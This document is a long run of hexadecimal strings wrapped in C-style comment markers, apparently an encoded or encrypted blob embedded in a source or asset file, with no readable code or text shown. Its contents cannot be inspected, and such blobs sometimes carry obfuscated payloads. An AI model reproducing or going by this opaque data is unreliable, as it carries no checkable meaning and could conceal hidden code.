5a33ae855ef4b1ea5ad20af2f443b0831f6550c0855c83172093a0838a588e9b51ac99c5265e19a9d799bcc1a1c331e69b034a65db60eb2a840a150ec1a0590034a295d743a9dd89db8347d236825224b00fbc68758851ab328133e8aff86a849757f5c72d3dc382b08e248e1fb731ec391abb1c3249917eff1c6238b7ae426c9bc7ee4e86b8ac211b71e6167b5c1936dfa263ac60d50abf1775255dfe1b4c52543a201bae5b279e26ce073d511d37777a20b4a97446524ae4a3e6c927902e062f146b12c6d45591380ef885e20e6289e64439301e92e33436fcd946507c731f76fef05f960d2c51c1c06b3e93f80319eb6549831d2b867b4fd6223dd8bd5d3b3d3270a7ec27278ac084c7ea66df8d4003f5fdcf6fc6a482f79e7f97be04dc837a83a05b1c21651a695bc0393d64cb620ef74dccff6d389fb7cccf711c7c64331ba2414ee7919f82613bceb2a5808f12d378683b8b8da5c493b81b8cf525ac594ff9db378c69af3bcc7abc04501bd7fa33345e1a54959ff7cb3e7be5b46d3a6e56c44fe8ca2e8ec37c5daea3cfd17266f7ccd9c5c9c6a6af6771b44eb2d3911ca155e1fd75ca37c8d184652180b4fe54a127d83ebb297da55f2d34d6a075f04b6c72626d47bcf69fe087c25d638a279a2d56f00e7c806d0e5fab65c47fea2fe6130edbb775044ea6146c2ed0e88bb480256fe7edb8946de0af9666dbfa4f1db859b37e5cdaf4f51ce4e5f610b68255ed5771253623920aa7382e029c1139fd3e245dee73*/
/*cb9d1cd66fb98dc2c75d51da2da012eefd61e19be09050135a054fc4101bb1866ebe6e058e3ebc79bd6be737b5287df505c60932de4c90836831b9692f14022c4d9df89cc293e084e1741a3c7ef40e8f3a084204955f6adfb2c6eb1ae20228f79aa1cab1bc373d05c69af65f1134ff7d6c87e2d5601fc922b973e39efbb2d13f8e1b810da1d2b5ffdbeb668a05ff622eaeef81a47be432ad34ea1792bde8cd1547552ab24203e63e6afa9708076b7e287522eefd0713660d6b42b225cf6fddb477c91aa6a38f7f2d756fd8a716c56944b2b9455943a7a1a6a4c07803dfc6db0f043285e5ecc45c2cbabb3fff0074ae2203bb6f669e6a93634c3148865d0bcb6e56025b6fd63df21f6029792a7c69334808375da1524bc01946743593d00b12bf88341d4676692e8bc4b746f1aaa472ba3ca4c77afc2550030120be1343bf18dd040dde2b908ebfabc7f0ac3545221a4364e6f63b04784f4beea139a7fc3db557ec52e526d34589f7876fb2f370a8c3cda0374a2cad58d7693155793f7470d7bc2b128313531e958352bafb6f99fefa72d18d4af50565049c306aad675c31dd50204d9094ac77d3c22bbe1dc24819531634b6c6bdcf09b09bd6f5788bdc2acbd70a543d36bf3535e650b6578c8ba90d3769dd3d6f37671edc65065ded2b64f5155b9aa3be76d16b33ad9a4e4889db15eaebdfaf53975f05bb3313197445ca7f2a3585696a0e817827f21961ed4056323b24b5ee17ca25e315fee2f72634479d150a46bf73805c53d8bf87b70d67368962b12c18fac9ab6d8cfe65e7287e40154c3ee1e51b758bf78beb2a92afbbe3df2a2caac7680bc7e33f9d59ea9d80b3a0b77269ba9d8baa9e00ce279da5aca5ab65d12bd72104186a8d792ea6d499b342cdbac903e3daaffc69c2184d070f41a22107ff006a8a60aed75ec5b06cdd5d279e745821dd1c36e07bc7e2d1a6764aa287e7170be3ae27164b9fc15b1765b77d2893c1611482dd4887d14681fade8ebb5bbade19d1d3e383034b0547b4e4f1f3669bcb97c2eb9f561753991dccfeeb1705035b39a79fbe261de632da1a7f96e197082ae38aa3af12958d5cc01905a5ddea8685a3beb597549f839a8fd41ec119b94fa587cb7edf80acabaa74135bbf2a6e90662b4ccd1a653aabdcd631ffc98d816e685559d4b4886bb94530eca20eb91d22404881278b16e74e62753478a78d15a32340e3c52986b9cb6735053ab4fbbc8e9f10032e9e57814e255c7b5afc9d2a99605d87509baeb1b674568b3b035765e2a815d8c3d48458eea435b439fcf566c8ad622e0580fe6d68af8e9d96fa4cda68bb495e9768d90b53c2a53cdc634f2a13f082fec61e157daca693081118ac777dfefabb7bdf47e54401428e270101ae9d602f570f3838f9a898e87fbf452431c2a0d74b96def6453aa0621f5c51f0bdbb83be2faf9387360aca38387f0851b3e6f8ab41f848140af020301ab992969ee861c1bace375779abc6c097d8431dcb5b7ec9194c3d4705285a195e74b77083e5d782dc30f8fe4facee9a753f3a5141186bfdc9b59eb00e05538fbbbfe4701b03bbfd18482f3e8630c12f65be5c01afe01cf9131388e8e18ca663ea95c236315e3416ec73633e30616910a97afab07c67449122e2b00d3c72eb38b78e35c78c7bf67bfb7de86472c3b19f8bfb1629237c1b78110fabdb203a5e9c9d48cf954d4547a8e77f14c750be75620dcfecdf11c322708c9b40fb52cb2241782558d8339a84f5fb47318e4c1bd15bd9835cd1e88478b08fd363408a376b4e9f1fc2a022668649aeb7fef3b76e2b5b5f6ae9800cd0d314327ca973fc6b3bb572194475387b867abb4d99466d5853f9819844475f6757af2554386300300a5d764dfacf077743f0ae39b01ae7192034fe16b0af01f580360374e875df55d292125f63af6bfcd55d7401b5da3d6d1c48b0fbe89b81f4d5fad26203c21c9aadf3b51971631f5874ba4321560b132e4bff25fad418343be4b95ce477aa4ce9c93dac5e1be32f139dbd76960f085a79686f00c677ba4ee713ff9abff42fde2618f0326d2495e2d2d6daed8ec4d3d86bb32cf9de72e02f81658c1795f16b28eade12b58c91b7c70a2481df4671ded80520ec516282cedbc4b198a0b21926e27c2987949343ad1bcfbe03a9b5f97a107b7145cf149de319e33b17f1126dcc9e2bc0c4658399accf217ca85a08d69aa8d7cb408dbb79e040f36fcbe2f847bda6409c5976085e11aaaf900c056e23698d50e28b5c4392853c9bcf9261e99a3b2d2da7273155f9f09dd14912bbe95933be544f52a6b86d7072e44244406b93b316370df96a5215402087477b758ec2cee3a46107063d7df0866a787099735dea56b86e5162f71adecb6b04d7cf1445ec86e23afa17536e899d38966f866f2a49a35104dd55b058e431a926075e9305959c79dbeb7efa610d81dcdde0aa5c664aed07af808ab47a6cbf9b3babe3517417f23630971ee447860868d2871c218b011819def02b9981222ab0dec91283a3f4d4b33810eec382bc964fb29194a7cc5a6af62ec4c49fb4e6299fb1c2dbd87144a67ed0bc459bebc9ed905988953a2a9797b72b9700280b7f53a58d67899f8039b399c2730ef18256c10095ac29b0781ac671a6f032a2cef3ae4dba9c8c6ffaaf773ca9d2ebebacc6e253efb1741b5fb46fd3bf6d24353bd1d17792b275933fd4a7b20b7bd2d254dc70b57b98aef6d71018dc978e852a4dad5ad16cd6c26c7a78088435f690f49ed4f90ef85003e3e175038bffbc1ce7f4c109c31297e9f38b598ec807bf9cb3d646cf*/
/*7c1ae22bfc99cf733fe6c81d24bfb4035bf1bdb02f8a8c96dadc6a0bfbd6f2701d160d36ce1e0d0de2d5796eb8e8f0abd7a5778c4a7f24696972127446bd64d901552f363aa976aec4eac9f01bf406f7d6db2213c9422898b3a18e978eb44dbea3572f5926226d7e4ab26cba913e22aee973df191321a89af99d9fa05b710d1e6543bf6a1f476a1c0b24d7a0469aaa4364063182bf3991f233e51730fcff4e26849a2e52aaad58f7436e885b0b2d53205313f16ae8c0340b317841a98d3787fc76ad44faf52bcf285178e90f84182e94669a1d764ecd26dd9a11b3c04fde97b5e54896d90e64b46a2c93f45d937561d54ed7112333c642052979ea393ec3f4c4f764c11053c4a84ef4e36b1aa16d702b485dd28ba7dc2f29c80ffca4680da65b11ef030b46fd281dfadaf9dd00ee7dfab6bcf562bb9a1246c3e3a498b4c22bf787fac4a1d712088e3eef1d423319c84920299ce22da0ea666cb10d0b756963d0001428f5fd5648bbfaef67c44c88faddb31518c5cf1ca04b1b10766f270821ffa17a9e89e0901d762672f93916e30d4da374bd5753676737ade639da8de25eedabe7392c721654620099249911fc465938b5e9ce2739b840b86e0d58dea5b4a99109f8bba35d620d84060cf4975a584c820a79be422d706836014a9c6f47113c2ef8a82d80416984fb174eb194c70440f92782f81d64e9aa2bc91e0e924c34fccaa5e7dc902936a7aa37b09395365289728d41cf93d1f4f1f62325d68858c2f047819d08c44a74674034f1ed324e39cbd1f21c4d810dd92a02827dca73c82acb3ec3e99cc16eba4588e85916736889c5bb9824a2f8f0164215006aed984a0f83b50ef219404d90c26e9c0fa1db5ab07b2bef6f8d5199286615d2d9e841cec42e885e927ce88c3245e22ebe10e6f7808f0c787db7cbf99cd3b1d5e1b3125811a70b00c95a953194706b3adb815440ac4438a1da779d1ef48e09f5a812c1254ad752a6bf48e2dbf4c25dca218bf07c4441c63d3e50e082f403127f0cc5e0339909e2acfd9130dff24fe4f1418be5bed24e36ae85298ba7b448e89a4e9d9d8576c604198a83aab6b8ddefe8159bf3e1aeed53a2eedda8f114d37a454c590f521d38d2ff1085f683806ba1d2176ec420ed18c863ad2ef820ea0e48d258030b82bf1de24f028361ccc9e7545772f976b6d8db38d17e721dc26fbe212b72ea2bbd494abb1488b7149585c40f95c75a525054387b4e9e886bf497d8748b55614e8bbe4388c7c9457f1cb4a36fef1fa3fc311bd7975b125a35aafa5de920b99170c081d93a11edb4627514e4c3ce2781a4dbfbd465c8f13cb3e2408d6f218dd87f679f4f23177256b22cbf5b8f3c8ffd4096f93ae03ad9028f583f3dc24d55268d1b9227be763e6e3bcd161ef75b2026f3769a183273f9f684636aa625ccc2285e2c00ca36121bf0b6e88c9448938e820734d4edf09a77484143be1ffa25b45c0b8b28c8286abcf8300b617199dece8c68fb1f1a25286d58ce3392fd1cbb7314b8a49f5579556c0399231b02c1998a84b16195cf3214b93f55738698d9ae9b7a1ab08f7741065def3dc9d69499d5f9e0b40ac580d5d116e88974425cc1ab11cf871c473d0e3bd5a55dd4090dc2ab3a69746c4fd52773a256afe890aa92738e4e05f6e3c7b75856f3c988df2af5e8b3a68d643759f971b301fb49506e0ce41c830c1887abc150635064ce11ad31c5dbefec2dfb5db1395b9bc5cd9756c44030eda623f612800126094112a347e39aa123c10d2cc42bf10644bb47edcf864017801c9bdb0d011eb7798e4ab59c825489ce1b299f3cd7cb34c9668da5fb281637466503cdf43b6ee52c7c75ef544e4a4c351d2562180277e58520afc635c4565d0fe96dd4b71ed39660954002e78c4cc9ebfcf66c91c538e456f5550a2901fed2806de84e826bda066e7f95c5190b5fa7e4ab145c7b8f68abf5f315d3e656be5d419271846e056c6f0cdb92481724c729ce4017b6f79858f5d77e7988e47623ceb2e6a45960e96c09fb9ffebe0d9ac20771140906201057143ff5b8b58433715a8e768b99aadd1e9197454cab6f8c6e18d2bbe6fae9c3efebde3adf184cdb0970296e9c631df898a3b6e486d90b8bdc148510fefae2ad4ad9fbbd3d66bf9db52ef69206916019f3e04c4c7fe1b93aa300a1d3cd3858246a0d8faaade29c6203a2278b8f6a7c21397e397d613b569731b3e16f2611f34af621b780610d1502c0ee8ad1642947d0d263e0986cf35fe2a8a73545c195c0b47d146a7f2d47db17a23372586410d66e6bd09bd3b7a60c11631ecd3e0d957a4ec4cf9d3d6016c6fbad31d2614bc1c264ffa1f97bdd01523fe578e606a648e8467bd8bd3c4cf48d81128b68852a2ad7f7092837e959fde695f6c0d64525331a6e1948c74e9d2cb8608cf545f8d71a246bf29206b1d17708d03465cf7bfe1c05482e216dbd0c82e2fb99aaface8f9d5d67e7fb79fb634f2b29b72eb9bcf4d8584337bf68250f3fe9bcd57dfdad407469b466b8b07c407579f570c3ca80c3fe20d75603b36001462d295e8a156a39b76e1e823c5a71403e3376b741245e6fabf122e195adbcb36abe4ca4288e1d8bdf0c8546d0741c0ae64367185fca23c352925629e843d430255a8f0faffe8aecc2cb28180dffaccd181b350ff60501ce2faa8b7d8212303949243916b574a45acb4dc155538a4ccdef4270d9ff0dc8d9565f861c9c79a13438c9e65d95a17540f9cfb3f8b4810d3e95a86fb93b00694dfda17c0b441f7902850dfc11f937f93a22de8419e810e11d336c2148692c1f1741ec*/
/*9838114a8ab47badf491af28e66b2b8ad95e3da770fb64458fc030ac8041c09c9442875002824767b2c42f689841b6985d82489a0f2aa04d23d517a7e0ac6ad4e15449c034d25bf672b4b33742025d8dfe0c7c0b3d1aa75a2f3c83ab7adb87c8e4f68a5eb6a8f90a222c669883a3104ef28a311d8a9752ec0f074eb284f8d313be0a97e1f831e52dfdf46cee4b6f66c11ff016ecc8c0e43b57fcfce08f1c7723710d5a045d040ed3ae244f4faf807d2e20f8081457285d1135d11e5d989f47c03be75a4a50053655c6e9fbe78f8cdb65fff26611cfee9d936cf3a3eda44e0b5b8a7c5c132aefdb63f9284875b28c010c1937f134a84bf2843d51e8fa789ec131eb652aa9582fe9992186dbc9ecf96ffc388e3510cacc5fc548dc30493e2eff72bb1b59e8c9278bdb1f5aedd5dc152279cf2c4a01df7368d197f21f17cc3229bfd80178faa4b079027e2abad86823a690b30b6fc34f1d625f1e94ccd69b92d12f2548cb8d2832bd89cbeb4214774a058b31903ae67ecc374ee07e9fc26ea34c0609e5fe9ad4e4fb6c0bafb018800ae8b054f1e51b86cbafc62ea27c540d296b12ef575eb3a00df83e674debaf577233aaa3909fdaf5140050d5b9c40dd51e17042e0d82de49616ef4e87dcee9892ba779050f3f63ae1b5becb4135d817ffe0712dcb328d05b4b38ce40ff87ada581fed015cacf2a28406ed917de53579c341659d3b3e1aea208ff33ad1effd928db28275bc8c75b37969017e3c3a9ae667a177c4929faf5919d7696602590e48f98fe39f1a5610ce333edb84c782e7e1e6115bef07bd7b36df8da79810d7e47cda91de8f1628b6bd604b0a4905232998db7c8a16a1e355e3e94cbaff6ea7bd585931196fb80739a78e69ac457aa9d2cb6f47530d44c6cd4c2f3484f2ee56846ce9a55493e2ca223022bede53aaf70447635db7646dbfcf6749f4bbaf16dcfc3742d179f7655a9fa16112939974da3138c13c63ef41fb560438ed0c05fbf7e822d7c7d6a140190b2d4fdef062ad07a9e128aa599cf234909a632b33c7318b81973a0c2c4563644642b69376d45403451a89311b8f2e8672f345ae52a02880622a85aa6516c6487829f1e38a2e914c67cfd0a87661c74722a7af3b490330d2ce6acaa71a8e5349b3cf0c32623a3500f213e3bdeb62ee172857ef623da57fd61bb44848b55885f65f849331019b53205b0d46bf0c1385540c849e83e6f00446a0e65ff3ae5c652b51cd5b4444d4317d9d46b2c1321e8e89829f12719f67191a85a7e792bce38da659090a349c84af59c4ff452a1dce49a2b38281b9641bacf8968eed11ce9f355ac14555bd2670cf96f5e7fea33f5acd51ec4f5c33d06929999575967e4f68c2efee0bdfea3176d0d02087a680645d7032e0f8649274dcdc2a5cecf4f88bc3086e1b67597ad1169622500adbac3f59635690bcdcf7b657d2c43f14ec45bea5dcbfae7f82141c612b31668860bd764b7590b77b7be2a4773df9a286e85dbaeb5377e8ec14c0f998894c55c8eb135a536637f902d5bb19473a29d77af9e7b8b6e376177a6a354862eba2204f7db9b41a7e8da869cd4cac09596967aa473d5934513762c02350bafa57916aef4d10384a8dd06b163aae91174d111bbd355e1d7c66f8cbb1cb3be80658bf2639f02f30a3b19a6564f3a678529986b1b53305513662c0b5d462d1c6bf95e571c0f5009e2b224f1fd52d2549ab9a247129e9143a22258900132fc7405f6550dcd38bd097f208a3a57aa449119a45cf6560f6aa635f0a01b51a7d3d941a9ac9c8f9fe3f815ba710408d85cbb1e91c179192a0c3a107178c88e1f9a7a3392237426dd02a3fd795c1e9800700fe5227bff000b553c2113b0ad51fe8e64d4c35ccafd24ee1a77bb1b12379a02f97ef63caed45e6d619135a5b33c4c473191f6d4cd2d3fcbac0404903248e8335d288762cf17c6fe119663e0ad06b9397c589d66ae5713f5d1027e766c00c251957c7c412217ea4d1ae652149cac940134c14d3d0ef08f354fbc7799b34109c6c2b89887fdf92edcbaa05a1cfcba60294ddd1f00e7ab50861971f7ff27297ebfe76a7a33d56714537a79690c6f86d570c76910ab4ea4cdcbbb8856fcc86569bcbb5012171a4d2364f4610e762274b16afa2e3db1ce72b4a7a94286c52706fb9a547daf52562a3cc97bf02b98a954c5f9b39a42a3e69fd4313b35635684506579de0188e179858878363d0be29274e2b1cd3acdae79dad60268a52f137dbf217d5ebf8648493488279e8410a06ba3c3197c830aa74aeba3f26f29cbf236c755ff1cac31c873a5fe161c73d48d2ae2cf074540d91a061d23f108bcc6f953af8704c9e7bfc5a63285b3cd832f81f71a2f671c995d4ebbe3d0695768d41409103dd293c81028da9760783e23987ef07974b2ccca6a4c8119699331c8c31fc70a912d124ca6b656da09e84dc30edff546487c02c94fc5d9e149f4f957a1e11f8606623a99f8a935c1317543dc7552bf92da4105b607eabd44e65b515877479b2098e81122a061258b1b1e550f800ae4d71844442d008a303e0e0d03bc7eb98eebedf571fc51de74ac2b50e3e1bd0f1934d6687bb865cdb898245dfdc7cce0df85b0d8bcb68a02237440bd1f549d62bc0501207dd952c0ebb2a5764c8c097297498c464a21a1fbe0e3a58af19c6f22fef4daa4bcaaaded0956482a87fdcee0dc16267f234a6e590376518c84891897a688eead43bdeb9b0398650621701e81f2fcc6ef3c59cd6a4b4cf451509e22ea3408c23a9e7bdc68c8c8424fd1754ddbf6b12f7180922054a422c1a0f842*/
/*5ccca51ae198ab2dc4074384207e68b7d4d68215254db7244a67fcd59c4784c5b7df12561e4852b66fe1460f3658193f0dddc338a0deea3e0da10bdae8008423a46de7b982c96ef3df73e948d1c21d63e1f4ca27b92389fa5b6500d3651885ad78f61b3e88a6f82ff3c2acc74965f079a30223aa2e677acb6c779d4bf591d13bbc577bbd59506685a60eb468c3fa85338e5d66ef6c4a6d49a03bfdd4b4e0378d8267e87856c5d42c11e1665997fd1087437a96add7aae3cdfc164d6e845e0d58a97f6c7fce924753ee89e6cae274ab420c01a5d40c95f60a0bc6dc1ae1c56f731c64f20945e19130b658339c5c8395b0de6ba22342d8b203154d1ea799bbf3a033f7a829abcc6670dfe694c150e432f015a5aee23f8ec174ddcb977ece369030f6ebea8dcce00a91bbd6bee8d42caac7ceb5d9f819ff491c0a64791569a01e182d2269edf596406e9a9267a7c12080eb3f7ba5d313f3762ece0757a0b0460573267b645762cae8ad92b837bc8c23ad580ca142f70cf2939cd3d65a2f938c47293b1cfea191180056214944a566caef0432375bf03a07d7e12d0f151f8373cf711e125e3b3a53ea0e56d7f4326480275209bc0be3ecf5ba19a7e6a6bea67965f68b357d7b9362f82d29a1f5c1137b47d1cd019e75229bcd3e38855cefbcd47cce862b5dec039d118c3a5d747db5528fbc58b02f2b72c23e332fa81eb320163f0f99f93736343c0d16c3f76cffffaaa25ccd068c9999b6420554bc4885dc4a672ed775a216dfea4a8ebff014a49a8234828fb4ef76a9bd907ae6bd7240cb7fb2501a30e41a23abfdb8c52278b5e149b5cb2748fca7f3870731af3483d6142172ee89f9c05ef6db7ed5f9c59e503e88b0d837bd74f224d75f97bb3868ab70e28ed471b753e80e31f762839a0673477a915d1c9770842c406f4c171f61d503cb2dc1bfca062ca0feee9bd9252eab50554b2e99297c9a080b73f92627c504ce4ab78784ad5ee24a732623057ae20716e976f1b15ee30d96253d08bdf82f36ff1dbd17d69e1dafedde6d2447f8161383af39778883866df5e79dad0cbf8b1ef0617a0dfa31b8a62fb56d04e2b9c485fa48d60ac16ab9d0bbd1be8e7ed6e5b5b1a20a8cd4af1492871b64d08cda6f328defdfd060c4a2fabd559d174b9e4dfcffdf4593d8f460bdb982e647e14e58150dbb19830eae3483927c27b7ff90014d83a38954aa2897dc75b084ae82f8f4aaed6bad4d85245084a00b1f88820321d3680332ae3c2ad9ccbae1b46e92aa8ab48011fb3cd06efca152f0ef40841e42636963c7635454918987d146b4a3e3d219e920f923bf7548d51e0c0fd23614fb8a426c5a853a332e4cf31f48cd63a69ecc6fa6e4a6b6fa983cb951432e7b0bb8a77d6da886a868532451007fcfde6ef52eb68f4d4a219721e98aeb74fc04d271b309812d01334f2a445229fdba0e8ae0b2898ba7b65cb6025bbf79faeb91272f88ee12c2b471d80faaf02c6c3737c8d0f0c1ed67c4781ac4e8aab3256e845c5da8f2c87e3608bd27c33a08b64c03b2f11cceeeacbed829e83e76e48e2a5bce2cb747d3f34adf4781fcce1649c59829748e42c6593649eb48f37fd74dc4613f8bbc74da17ee116012bc7f4c50d826d211029b08092d50c266a959b819b07ee1dfcafc3199de16cb78594f206f7beac3aa08bc6da1c3537dd55603d4fd3cc9b46e2ec280695c5b192c0379fe7fd0f79359ecc6cb3e4601ea3db3341c515bd4637b0ac8ec885d44090fad2569ad9ebbeb1966e5e306b1e957f4c195ad8cc7f83961ac5e031c34094965f139ad1afb88372547ddfa8faec26796143cdcb8dceaa4bc240dbbd64af168042f47a95a77f63cc48f47f43a1bbe5f3bc7e4db9aca322b8409ece25f5bdc4b3cbb115035cb98cba1f2589088ee3837afa7727155ed1af3645b71c0d7efa2722b7dfbec4f1dfa0875d78df3a0b79bc280db5070575f76bb0d4c4c42fb3b48f5596a0e87738c788d43e2c8745528179f03ccb0165985f0a5028c6dcc2924c179374108f9f6a08d8f4753074e8b0f1dadd2e109496a363198a16183726a19bf0176dc6925ecc3ba32dd3bf53748571a33f9e0393c540bfec764db0f7a9db55a091d5b63ef9c9097c8738d3c41b379c7eea9da23650cc5eec0b682a7ab90d190076fb799fe61e6d2c1465761382ea46435771b7bee086e12e3ae893f714b7f1c0de29de5b25e844fbb09059eef0581d1dd4a020c07f99c7c7cb146aa9af917acd24cd8762c039bee4e0810eee5877814f9c46e8ae8b79257538b7523ba49e285aa95de8814783ab17aa3ee19d82e8ad77a40f31ff36f555e0b40da8416c21586a66e91d8dc5f691fa2b6d59d936d2891ec078e3a4cd820461c418a281e08436c3bece4c01707957758ffd07ffd3be7ffffbbbdeb31b29a61d7ba5e670ee08f09831ecc19b6e5edf203ff705a77e41211aa428b26c411e6d5af6dbb8f6206a23dba60b582e8c6bf761834cfab44d3bc07aa522b34aca543f5251d5ad50dd82da1751521211cfc6334d4c5ca5acb66b088199410032b67eeb15f1fc046ef21e62d141e952d58fa03dc62315fab191cfe3a3529f36468f6bb1bf8deba32d4fd19b16530b4aa5231cb73a02d1d8fd33f74caf5cd9aab00c97321f0861eedf9709404f2aceb90626e08764e1ccf02a4244c6b11b11b27f1dec85b5f7d1adce065e89cce582cb104d455dc3a9d9d19acaffa96352afad17fce77227eceef3166c69cf689683e1fed7faa66102f2c5e3b27697f55946626201052419624067862e9aa76843d03bf1586d25a24973563d866d6*/
/*3791bcac2a69ec8353e46380fa384954ed6a0107681fe0e1ff68414264da1f62d95ace9899e441929a44de7a2cf19fb776a5c4329410c7e679d52391d03718e2ed70b6f52c57388bba760665c823291ff2f73335f08a49fd70ab6ff0192915abb2559bb8bdf654800e10d9e2c7db2b2f06e75f7b522bca3d7d08306e9f6034809b8c79e735ebaf3372deb657e2d294b5f750594256ce21887b52e73ff43ba3b7ace0fbf88acff004292402c8c60544e8a9443bc800054b41e147d8e3c17b42ff6b5c4fc40a83520f879d1ffe5bdb40d4bf5c3db969c4b75193af1704dfadbc8ab3ba68459e9b9a37e6e1074608c8ec784ed789a6c37bb37b5744aae4e45ebfb274d0f87461887d5fee119540b44b5a65a6b15ef7b69e93eeeb0684ed299c4da7a72fdbdc05546822c541def763db7a0c4f3462568772b9c8d8322b549572940d2ebe13ec4a1f43bf01c7844d7ca0025bbd3049b1bdc59fb6476644eaa9ce57283ed862192c6762c4dc3e1a5257f59a4304fdbea468d9437c6eb4452b82427c6fb22f63c6078f01c14bd172131efaa3b04a210cc3cee5ebb7a5204fa6bc9126b1fea7cc71b39a94f7149ea95a007131862e041db62d09ae81d48f9a860692d90e9ac90289c9f2acc70a5d903bd1c508761b856c68138196b26571e8847cf76eacf9f38019d064b1f5490452da7fab9ccc22c252dd04dcc382fc593ceab68ab4f12d3298cb47de978f6f5a12068116fd6e20042f37482f093de805272b2c9194fb86b7cc0c027643724e1fed0e94954e224d5a15dff1f590275d0b96da154fccb084846adfee89a2822dc606f4c2ab1e0cdd2a95c2b3a4a9d4876b74eaf7ca293b7d2138af0d13c5f45dea0e6cbf004425a1f82042ba4e89237992652c4807830d6cee9b52a9ae5c5f27db834efb2224e6057cc5c70dce780e6a90d85cbfb9fab61f304f44d36984bdd9cc83ecc10b1acdeb41f53778ac804029cd3e28f79ff1a5236ec006f60aa6f3c634055f1672987c9d6006e8d01188a4598adcbe20b332bca7747cd50b19c4f60666152473b5786e72450ba9edb6fc84f03f1177b4f51d8904c32407a63b8919888893a2e659fbfa2604f8d3338fb39f0bcbba8206395de9c7db65c088d3b6f854af786b11637bc879098ecc5f72622112edcfe8a1c1a992f72d6056a414241efcb58a19ed68992b34128f4a1a1afaf3336528c89fe3f7cb5ef8065d79f0080a7e07adbe3e07efae94f63fdde8154e7110c1ea477a5213d29297921fa4fa2ec266765c77840c66a4bb473c5998b7f762117192f3f0e8623d87a2660e7a1517f0161edff78270613632d7bdf09d2dce4fecee64b6b95e66b7519f9f991d9eed31b46e427dd0fedcfd29386e9ba4b6539b020549782a077b0ff8f906dfe57a8a550692622095190df54e0f76c82184b04e0eae11f009ea15b66d1a2821eb2396a9666651cdfb391bcef1646c61849200d7e5bdb3aa7782b33a5aa04176a65bc3422991c41d67166dabac9c1ff32db7f69bba04fc4886955d1e45773fbd5f81efc90245c709e6f328813497cfe29980c22ceab9bf542c22cf9e09cee941222962cdfe12f1c8452d730286ed5fd6ed40edb154712296d85893be337b050bd28644b65f9be563b8ad839df0ad691dfd460cd47d3aaf880d6b6b9fccb371e813d577f751260a4e2694450d15233be69bab61c1725dd379a0d1019cf14cf863d18b6a5f2965641d42dabd15a7debd961eaba83271736288b1f3546779618104b6419ff54b154381482bcafed4c19b5d8a0c467a9527b90ba6fb24e9d6cd32d826539aea92d7bbbb04540bb0ebfdfe4bfd26b895c3fb9264fc423cb9f84e857208eaa07c26579d337ee8f1eb849b44999fde96272467b9f95e997e6c2e6d3c1ec7057dbeca9c99701602308ba3bd07bba02e588503ba7b11803e753b69940d4788404c094176a4f0c3c57cc97b05eb768a329172f2db5bc684e3d814c8f8b2d198bf45de050f9aac0a9fd70dad6d99b6b233667a07b67c1836931a618fb9bb1e53fde741ffa9cf28ca1d19b66f0177b9780b3532e39ccf5ceb3c513de14e76ed2bd937318e0f0a9171e0e62156d3f093f96f7607f0ca7dbc402eed7723cf69893789887249384fffe1a54a5c7f4e3aee5dd786ca29cdacbd85dac6e22d659e4fb0d514b8588d0a9271fb174f1dc3c39a6b52912e54135707c125a49172e8ab1445a91969d0ef67b3ddc6543a76585375cf4f58bc52d892572f051141eaf839ca28a756a1c91708e92e7d0c5142aa7612171076877005be7ea38a58222e6afeb68863d2989feb9d0de42384f4d5c1a394a6331109c4389c61b18c1b8dac0b308764abc330d9157de5efc1f065b69d8b45e3489d361bd04f76adc703f7afbd97b6dec5c7b9f87233e38b3d1aa1d64f6d17b8c29a3dbd001d0bc678bc690f428436c4d3636d90fcd8d32827605c1ea3fd9fb2eef72fffad2311f3daa2c34863add48fdb7149bc12326e62b60d5ba4a2000d08c91c9754eb4c98d2e6d1fa4b921a6a4132a09d7d91101abb54ed59f2e44f67207ef2206e289985b4cffe7e6e9876684aabf4ea11ae2ac41e812843d5492ee5324d8ded96d070039c76610767d73449afb0283d5cd440db5fc3ccca3797d1b243c3c6d9361173bbbc2fa3ed572594b66248f36d3945bfbb3814a97a11a608918109ae0ac93dd26f8afdf9624a4d0c42fb3bb8db8d8bb6788104b1da996ca4809dcbf9a879d20e832f8da127a4060152aebbab5f4ef264494b9f92cd2d48269833f5bf360527abc662362bf64a0c0dff967c15a9450dadea539fee37*/
/*d721d11c40da45f2bb1c83b802450d1d3f0e14a9c09503a62a516044ae25e1a1233a2c461792c9cfdbab77143be775729e72c9c7db5feb5fb781597899422e35f303a8c07bbb15de867a7751ced068e20b16278fac40113e4b5f6f6bdfc3c76a0ee29733968f534a7ff9e006dd0e0bf227e597eb56752cbd8cef9179078c23d42d9de98f50f795ea984b8f20e6d55490130a4c8215d245ea3bbdf673dbade9771a22b2e881af0ec414ba6346dff13f7e9de4691fa923756e2c7884d5ffca6569e73b7e2ff3a43175da9ecc0a817f74b2197db5d1841212beca88e5d3ff4fe20d3738135f30edca9def1d74de6ce2fc26778b09a6d71776ba36b23995d99c86d2e58aa8ccd9e0f9549ac07f732718a1d6b8fd4564f3ef9d77c914b5beec7a51210f4a55118f1de127499ee6d03231e34ef66643c7a35fc0481f7015fe838b6b8cf5c121e91d536230a4a3212087df43627b13b9aa714beff65175e71db52a533152ec30371c0da231740dbd4cb22b99918171c9da19b6e26ef20490e29acf35fd7d1b5698e0a2f0afcf088cee22a2c18a5a9f3d9bc86961b8285a2eed6b3919fa78662eabc5a96cb5e210ea56917c77cea50bd074148827c47f759c853cae56d5176354ad9e53a300d32ef80d42b6f6f76acad8d9edb4f41441748e07701319690c3b759d59d1f79e9e1c856140d12c8d669a01341a96e6b68757bb4c5db084916d86440d7083a08fd54a1497d2be86ee8cabc9a7a81e759bea277e3be7a0186af7eea112bf2446b67c580ea1fca2b0ddde07987b515e22f9d26f3a894558029f2bd9035ea99949cc11364f4dd809cbda508ff5d22e6ce2fd2daef0afbfc2a3fce7aaaab52d31f1f8f859655c787438dc53a0679f8292732c08302473adccc1fe6eeabc8a758873be4eb61d7175a4d9608792577bfc7317f5a17d72eb04d322d01e763ce97cadfad59b06424b4484814907c4552c3e7f41b09e7459c66997e7b033cc124f6dfdd10260de52b239b558a5a6b34a868362df4d77f6d99686089ca9755bae0b7c7ae5d9da95227eddb1e770500c069ae71647c77e8704371ce20b95c31ff1a2eb298f56942e21be2c9a6b9c0b6110f517ffafd2e87ff6b61068d0b79629924f7019eae4e09230298ddac4d259d50d9141bfcb0052163b200992dbd46619ef27fdaef30ded5b2922ea9535f82703d47a9d085c6ac855bd987efb6b8837c0c0ecd5e37eab681889c1a618e8c912e21e176d687d016fcac19476dafa45257c04d5beffc53386cfb1c0e350866d2e1365ff74a6374327ee402b3f701301cecbcbc6938d8839b132a0675cf19f7766c3302f779c7592a378e7a8770dd864856f414702c774ee0684fc8c003a093339ca0bc2b5d3d